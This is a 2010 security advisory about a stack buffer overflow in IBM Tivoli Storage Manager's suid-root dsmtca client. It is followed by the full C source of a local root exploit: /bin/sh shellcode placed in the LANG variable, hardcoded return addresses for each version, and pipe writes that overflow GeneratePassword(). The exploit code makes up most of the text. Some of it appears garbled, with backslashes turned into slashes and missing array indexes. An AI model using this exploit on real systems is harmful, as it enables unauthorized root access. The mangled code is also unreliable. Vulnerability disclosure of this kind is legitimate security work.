IBM Tivoli Storage Manager (TSM) Local Root

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http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmtca.txthttp://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmtca-exploit.c==-===-=====-=======-===========-=============-=================IBM Tivoli Storage Manager (TSM) Local RootKryptos Logic, December 2010==-===-=====-=======-===========-=============-======================[ TimelineVendor Contacted...........: 2009-12-14Fix from Vendor............: 2010-12-14Advisory Published.........: 2010-12-15=====[ Affected VersionsVulnerable:IBM TSM 6.1: 6.1.0.0 through 6.1.3.0IBM TSM 5.5: 5.5.0.0 through 5.5.2.7IBM TSM 5.4: 5.4.0.0 through 5.4.3.3IBM TSM 5.3: 5.3.0.0 through 5.3.6.7- Potentially older versions of IBM TSM dsmtcaNot vulnerable:IBM TSM 6.1.4IBM TSM 5.5.3IBM TSM 5.4.3.4IBM TSM 5.3.6.10See IBM advisory IC65491 for details:http://www.ibm.com/support/docview.wss?uid=swg21454745=====[ VulnerabilityWhen IBM TSM communicates with the suid root backup clientdsmtca, it is handled through pipes. The functionGeneratePassword() does not perform boundary checking, which canlead to a classic stack based buffer overflow - making localcode execution possible.=====[ ExploitationThe LANG environment variable gets copied to a fixed location inmemory. An attacker can achieve arbitrary code execution byplacing his shellcode in the variable, and then overwrite thereturn address of GeneratePassword() with the known address thatthe value is copied to.=====[ CreditsDiscovered by Peter Wilhelmsen and Daniel Kalici, Kryptos Logic.Exploit developed by Peter Wilhelmsen and Morten ShearmanKirkegaard, Kryptos Logic.=====[ About Kryptos LogicKryptos Logic is a group of talented computer security expertsfrom around the globe that has coalesced into a highly effectiveteam. We provide a wide range of security products ranging frombinary analysis, instrusion management systems, anti-piracy, anddigital rights management software. We also performstate-of-the-art research on emerging attack vectors and threatsto current digital infrastructure.http://www.kryptoslogic.com//** IBM Tivoli Storage Manager 6.1 - Local Root in DSMTCA GeneratePassword* Copyright (C) 2009-2010 Kryptos Logic** Bug discovered by Peter Wilhelmsen and Daniel Kalici.* Exploit by Peter Wilhelmsen and Morten Shearman Kirkegaard.** http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmtca.txt* http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmtca-exploit.c*/#include <stdio.h>#include <errno.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <signal.h>#include <inttypes.h>char shellcode[] ="/x31/xc0/x31/xdb/x31/xc9/xb0/x46/xcd/x80/xeb/x1d""/x5e/x88/x46/x07/x89/x46/x0c/x89/x76/x08/x89/xf3""/x8d/x4e/x08/x8d/x56/x0c/xb0/x0b/xcd/x80/x31/xc0""/x31/xdb/x40/xcd/x80/xe8/xde/xff/xff/xff/bin/sh";enum arguments {tcaProgramPath,tcaDebugStop,tcaAlertString,tcaPipe0,tcaPipe1,tcaPipe2,tcaPipe3,tcaPswdFileName,tcaLang,tcaErrorLog,tcaDsDir,tcaRequest,tcaSessID,tcaServerName,tcaPasswordFile,tcaPasswordDir,tcaBuildData,tcaBuildTime,tcaCliType,tcaTraceTrusted,tcaClusterEnabl,tcaCryptoType,tcaTerminate,tcaArgCount};/* Find the buflen (56 in this case) in GeneratePassword().** .text:0805B056 _Z16GeneratePasswordhiiP12pswdFileInfoPcS1_S1_S1_S1_ proc near* ...* .text:0805B155 lea eax, [ebp-56]* .text:0805B158 mov [esp+4], eax ; buf* .text:0805B15C mov [esp], edi ; fd* .text:0805B15F call _read*** Set the retaddr (0x083C7100 in this case) to the Locale export.** .data:083C7100 Locale db 55h dup(0) ; DATA XREF: .got:Locale_ptro*/struct {char *name;int buflen;uint32_t retaddr;} versions[] = {{ "5.5.1.4-linux-i386", 40, 0x0826E7E0 },{ "5.5.2.0-linux-i386", 40, 0x08278180 },{ "6.1.0.0-linux-i386", 56, 0x08356520 },{ "6.1.3.0-linux-i386", 56, 0x083C7100 },{ NULL }};void SpawnTask(char *argv[]){pid_t pid;signal(SIGCHLD, SIG_IGN);pid = fork();if (pid == -1) {perror("fork() failed");exit(EXIT_FAILURE);}if (pid != 0) {return;}signal(SIGINT, SIG_IGN);signal(SIGTERM, SIG_IGN);signal(SIGQUIT, SIG_IGN);signal(SIGPIPE, SIG_IGN);signal(SIGSEGV, SIG_IGN);signal(SIGXFSZ, SIG_IGN);signal(SIGTSTP, SIG_IGN);signal(SIGABRT, SIG_IGN);execv(argv[0], argv);perror("execv() failed");exit(EXIT_FAILURE);}void exploit(int v){int pfd[2];int cfd[2];char p0[16];char p1[16];char p2[16];char p3[16];char buffer[64];uint8_t len;char *args[tcaArgCount];len = versions[v].buflen + 8;if (len &gt; sizeof(buffer)) {fprintf(stderr, "versions[%d].buflen &gt; %d/n",v, (int)sizeof(buffer));exit(EXIT_FAILURE);}setenv("LANG", shellcode, strlen(shellcode));if((pipe(pfd) == -1) || (pipe(cfd) == -1)){perror("pipe() failed");exit(EXIT_FAILURE);}sprintf(p0, "%d", pfd[0]);sprintf(p1, "%d", pfd[1]);sprintf(p2, "%d", cfd[0]);sprintf(p3, "%d", cfd[1]);args[tcaProgramPath ] = "/opt/tivoli/tsm/client/ba/bin/dsmtca";args[tcaDebugStop ] = "0";args[tcaAlertString ] = "TCA Interr/bfacee/b ADSM Release 3";args[tcaPipe0 ] = p0;args[tcaPipe1 ] = p1;args[tcaPipe2 ] = p2;args[tcaPipe3 ] = p3;args[tcaPswdFileName] = "/etc/adsm/TSM.PWD";args[tcaLang ] = "/opt/tivoli/tsm/client/lang/en_US/dsmclientV3.cat";args[tcaErrorLog ] = "/var/log/dsmerror.log";args[tcaDsDir ] = "/opt/tivoli/tsm/client/ba/bin";args[tcaRequest ] = "C";args[tcaSessID ] = "NODE";args[tcaServerName ] = "SERVER";args[tcaPasswordFile] = "/etc/adsm/TSM.PWD";args[tcaPasswordDir ] = "";args[tcaBuildData ] = "AASATRG";args[tcaBuildTime ] = "DMESEEG";args[tcaCliType ] = "";args[tcaTraceTrusted] = "0";args[tcaClusterEnabl] = "0";args[tcaCryptoType ] = "1";args[tcaTerminate ] = (char *)NULL;SpawnTask(args);close(pfd[0]);close(cfd[1]);/* 0805A7BD call _read( fd, buf, 1 ) */write(pfd[1], "/x41", 1);/* 0805A7DD call _read( fd, var_AAA, 1 ) */write(pfd[1], "/x41", 1);/* 0805A7FD call _read( fd, var_5BB, 1 ) */write(pfd[1], &amp;len, 1);/* 0805A824 call _read( fd, var_28, var_5BB ) */memset(buffer, 'A', sizeof(buffer));*(uint32_t *)(buffer + len - 4) = versions[v].retaddr;write(pfd[1], buffer, len);/* read the response, needed to make GeneratePassword() return */read(cfd[0], buffer, sizeof(buffer));close(pfd[1]);close(cfd[0]);}void usage(char *path){int i;fprintf(stderr, "Usage: %s version/n", path);fprintf(stderr, "/n");fprintf(stderr, "Where /"version/" is one of:/n");for (i=0; versions.name; i++) {fprintf(stderr, "%s/n", versions.name);}}int main(int argc, char *argv[]){int i;if (argc != 2) {usage(argv[0]);return EXIT_FAILURE;}for (i=0; versions.name; i++) {if (strcmp(argv[1], versions.name) == 0) {exploit(i);return EXIT_SUCCESS;}}usage(argv[0]);return EXIT_FAILURE;}</inttypes.h></signal.h></unistd.h></string.h></stdlib.h></errno.h></stdio.h>